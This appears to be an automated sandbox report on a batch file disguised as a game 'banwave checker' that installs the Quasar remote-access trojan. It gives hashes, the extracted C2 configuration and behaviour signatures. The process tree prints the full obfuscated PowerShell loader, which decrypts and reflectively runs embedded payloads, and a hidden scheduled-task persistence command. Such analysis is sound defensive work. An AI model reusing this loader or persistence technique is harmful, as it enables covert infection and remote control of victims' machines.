Analysis
- max time kernel
44s - max time network
47s - platform
windows11-21h2_x64 - resource
win11-20240426-en - resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system - submitted
19/05/2024, 01:08
Static task
static1
Behavioral task
behavioral1
Sample
NSPEBanwaveChecker.bat
Resource
win10v2004-20240508-en
12 signatures
150 seconds
Errors
Reason
Machine shutdown
General
- Target NSPEBanwaveChecker.bat
- Size 1.7MB
- Sample240519-bhck2sad73
- SHA256 918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036
- MD5 a86b86c2e7182356c6149674ddc26848
- SHA1 322292824444ca6a442f881498baac17506eea34
- SHA512 2111dd5b4b2ab69980ec8b8a851c2ca29aa97a14585535ff2af1b70432f741126578db5f6c50f8cd3623a7f6a27a8fb4ef8275a536b67415abba24dec7f5e3a9
- SSDEEP 24576:2b0CZMqoDtzIt2Ipwh+o4w8VV3fgRihOuReKlOX1+ZfHR9QaAHfimfoK6+nZq:2PcY2lMtYXQZg2
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
quasar
Version
-
1.0.0
Botnet
-
SLAVE
C2
-
193.34.77.188:6969
Mutex
-
709ae576-840d-4df5-9c14-3fb7e062cf25
Attributes
-
encryption_key
8B3D2D2549599D0ED109F63D47FFC788BAA34A06
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Ruthless Client Startup
-
subdirectory
SubDir
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/3860-47-0x00000200AAC00000-0x00000200AAF1E000-memory.dmp family_quasar - Blocklisted process makes network request 3 IoCs
flow pid Process 1 3860 powershell.exe 3 3860 powershell.exe 4 3860 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2076 powershell.exe 1148 powershell.exe 3860 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2076 powershell.exe 2076 powershell.exe 1148 powershell.exe 1148 powershell.exe 3860 powershell.exe 3860 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2076 powershell.exe Token: SeDebugPrivilege 1148 powershell.exe Token: SeIncreaseQuotaPrivilege 1148 powershell.exe Token: SeSecurityPrivilege 1148 powershell.exe Token: SeTakeOwnershipPrivilege 1148 powershell.exe Token: SeLoadDriverPrivilege 1148 powershell.exe Token: SeSystemProfilePrivilege 1148 powershell.exe Token: SeSystemtimePrivilege 1148 powershell.exe Token: SeProfSingleProcessPrivilege 1148 powershell.exe Token: SeIncBasePriorityPrivilege 1148 powershell.exe Token: SeCreatePagefilePrivilege 1148 powershell.exe Token: SeBackupPrivilege 1148 powershell.exe Token: SeRestorePrivilege 1148 powershell.exe Token: SeShutdownPrivilege 1148 powershell.exe Token: SeDebugPrivilege 1148 powershell.exe Token: SeSystemEnvironmentPrivilege 1148 powershell.exe Token: SeRemoteShutdownPrivilege 1148 powershell.exe Token: SeUndockPrivilege 1148 powershell.exe Token: SeManageVolumePrivilege 1148 powershell.exe Token: 33 1148 powershell.exe Token: 34 1148 powershell.exe Token: 35 1148 powershell.exe Token: 36 1148 powershell.exe Token: SeIncreaseQuotaPrivilege 1148 powershell.exe Token: SeSecurityPrivilege 1148 powershell.exe Token: SeTakeOwnershipPrivilege 1148 powershell.exe Token: SeLoadDriverPrivilege 1148 powershell.exe Token: SeSystemProfilePrivilege 1148 powershell.exe Token: SeSystemtimePrivilege 1148 powershell.exe Token: SeProfSingleProcessPrivilege 1148 powershell.exe Token: SeIncBasePriorityPrivilege 1148 powershell.exe Token: SeCreatePagefilePrivilege 1148 powershell.exe Token: SeBackupPrivilege 1148 powershell.exe Token: SeRestorePrivilege 1148 powershell.exe Token: SeShutdownPrivilege 1148 powershell.exe Token: SeDebugPrivilege 1148 powershell.exe Token: SeSystemEnvironmentPrivilege 1148 powershell.exe Token: SeRemoteShutdownPrivilege 1148 powershell.exe Token: SeUndockPrivilege 1148 powershell.exe Token: SeManageVolumePrivilege 1148 powershell.exe Token: 33 1148 powershell.exe Token: 34 1148 powershell.exe Token: 35 1148 powershell.exe Token: 36 1148 powershell.exe Token: SeIncreaseQuotaPrivilege 1148 powershell.exe Token: SeSecurityPrivilege 1148 powershell.exe Token: SeTakeOwnershipPrivilege 1148 powershell.exe Token: SeLoadDriverPrivilege 1148 powershell.exe Token: SeSystemProfilePrivilege 1148 powershell.exe Token: SeSystemtimePrivilege 1148 powershell.exe Token: SeProfSingleProcessPrivilege 1148 powershell.exe Token: SeIncBasePriorityPrivilege 1148 powershell.exe Token: SeCreatePagefilePrivilege 1148 powershell.exe Token: SeBackupPrivilege 1148 powershell.exe Token: SeRestorePrivilege 1148 powershell.exe Token: SeShutdownPrivilege 1148 powershell.exe Token: SeDebugPrivilege 1148 powershell.exe Token: SeSystemEnvironmentPrivilege 1148 powershell.exe Token: SeRemoteShutdownPrivilege 1148 powershell.exe Token: SeUndockPrivilege 1148 powershell.exe Token: SeManageVolumePrivilege 1148 powershell.exe Token: 33 1148 powershell.exe Token: 34 1148 powershell.exe Token: 35 1148 powershell.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1260 wrote to memory of 2016 1260 cmd.exe 82 PID 1260 wrote to memory of 2016 1260 cmd.exe 82 PID 1260 wrote to memory of 2076 1260 cmd.exe 83 PID 1260 wrote to memory of 2076 1260 cmd.exe 83 PID 2076 wrote to memory of 1148 2076 powershell.exe 85 PID 2076 wrote to memory of 1148 2076 powershell.exe 85 PID 2076 wrote to memory of 920 2076 powershell.exe 88 PID 2076 wrote to memory of 920 2076 powershell.exe 88 PID 920 wrote to memory of 1880 920 WScript.exe 89 PID 920 wrote to memory of 1880 920 WScript.exe 89 PID 1880 wrote to memory of 3192 1880 cmd.exe 91 PID 1880 wrote to memory of 3192 1880 cmd.exe 91 PID 1880 wrote to memory of 3860 1880 cmd.exe 92 PID 1880 wrote to memory of 3860 1880 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NSPEBanwaveChecker.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9m3LhdOOnbkpLgZfroZHKVACZM4EdssbtTG9kf35G7Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeVfqudPUXOzBrMZY66Pgw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZuJwS=New-Object System.IO.MemoryStream(,$param_var); $hPqAb=New-Object System.IO.MemoryStream; $FTAcz=New-Object System.IO.Compression.GZipStream($ZuJwS, [IO.Compression.CompressionMode]::Decompress); $FTAcz.CopyTo($hPqAb); $FTAcz.Dispose(); $ZuJwS.Dispose(); $hPqAb.Dispose(); $hPqAb.ToArray();}function execute_function($param_var,$param2_var){ $zhvpZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcvld=$zhvpZ.EntryPoint; $bcvld.Invoke($null, $param2_var);}$SGqmR = 'C:\Users\Admin\AppData\Local\Temp\NSPEBanwaveChecker.bat';$host.UI.RawUI.WindowTitle = $SGqmR;$nsoKu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SGqmR).Split([Environment]::NewLine);foreach ($hvwJs in $nsoKu) { if ($hvwJs.StartsWith('qirvjfQbdGhMEGUUPoFU')) { $bTfWK=$hvwJs.Substring(20); break; }}$payloads_var=[string[]]$bTfWK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:2016
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_865_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1148
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9m3LhdOOnbkpLgZfroZHKVACZM4EdssbtTG9kf35G7Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeVfqudPUXOzBrMZY66Pgw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZuJwS=New-Object System.IO.MemoryStream(,$param_var); $hPqAb=New-Object System.IO.MemoryStream; $FTAcz=New-Object System.IO.Compression.GZipStream($ZuJwS, [IO.Compression.CompressionMode]::Decompress); $FTAcz.CopyTo($hPqAb); $FTAcz.Dispose(); $ZuJwS.Dispose(); $hPqAb.Dispose(); $hPqAb.ToArray();}function execute_function($param_var,$param2_var){ $zhvpZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcvld=$zhvpZ.EntryPoint; $bcvld.Invoke($null, $param2_var);}$SGqmR = 'C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat';$host.UI.RawUI.WindowTitle = $SGqmR;$nsoKu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SGqmR).Split([Environment]::NewLine);foreach ($hvwJs in $nsoKu) { if ($hvwJs.StartsWith('qirvjfQbdGhMEGUUPoFU')) { $bTfWK=$hvwJs.Substring(20); break; }}$payloads_var=[string[]]$bTfWK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "5⤵PID:3192
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3860 -
C:\Windows\System32\shutdown.exe"C:\Windows\System32\shutdown.exe" /s /t 06⤵PID:3488
-
-
-
-
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a1f055 /state1:0x41c64e6d1⤵PID:4296
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
- MD5 df472dcddb36aa24247f8c8d8a517bd7
- SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
- SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 1KB
- SHA256 4d684f3c0fdaf79abec51fb181b2aef1a9ce532408bdc06d6aa6b0c114b699e7
- MD5 b49b4568e58d92adb2364d63f8e93e40
- SHA1 2f3ea5c739d4bf93fc706580e91a284d05f8809f
- SHA512 2054bf5fc94786910886410a32b3e80a72d6cbc297c8126129c898048224825f520aa134287040abfc19864e672ed2d56ba1dd4ec5e0efca87b2e5c8182da050
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wduq5ul5.cjn.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Windows_Log_865.bat
- Size 1.7MB
- SHA256 918a07427a6aa97d1f0480a654547fcaf7185228c6bc41d88b19dd740cf4d036
- MD5 a86b86c2e7182356c6149674ddc26848
- SHA1 322292824444ca6a442f881498baac17506eea34
- SHA512 2111dd5b4b2ab69980ec8b8a851c2ca29aa97a14585535ff2af1b70432f741126578db5f6c50f8cd3623a7f6a27a8fb4ef8275a536b67415abba24dec7f5e3a9
- SSDEEP 24576:2b0CZMqoDtzIt2Ipwh+o4w8VV3fgRihOuReKlOX1+ZfHR9QaAHfimfoK6+nZq:2PcY2lMtYXQZg2
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Windows_Log_865.vbs
- Size 115B
- SHA256 876964fdb63f6e86664ad67198f682090bf3fd818b47fd9aec6e661c60ab3ae3
- MD5 4a931d0036029623ac0b40d4bb6f33ea
- SHA1 66c52ea4e8ebc3d1088f7aeb6a34a527d20b009d
- SHA512 e74c5effa4568ea86400cc7ad0af779c490870631796b0c72a85ab6b0923abf23205d7f7092e298f6df30b47f4e188251defd4317905a4619d0bfd499873d1f5
- MD5 SHA1 SHA512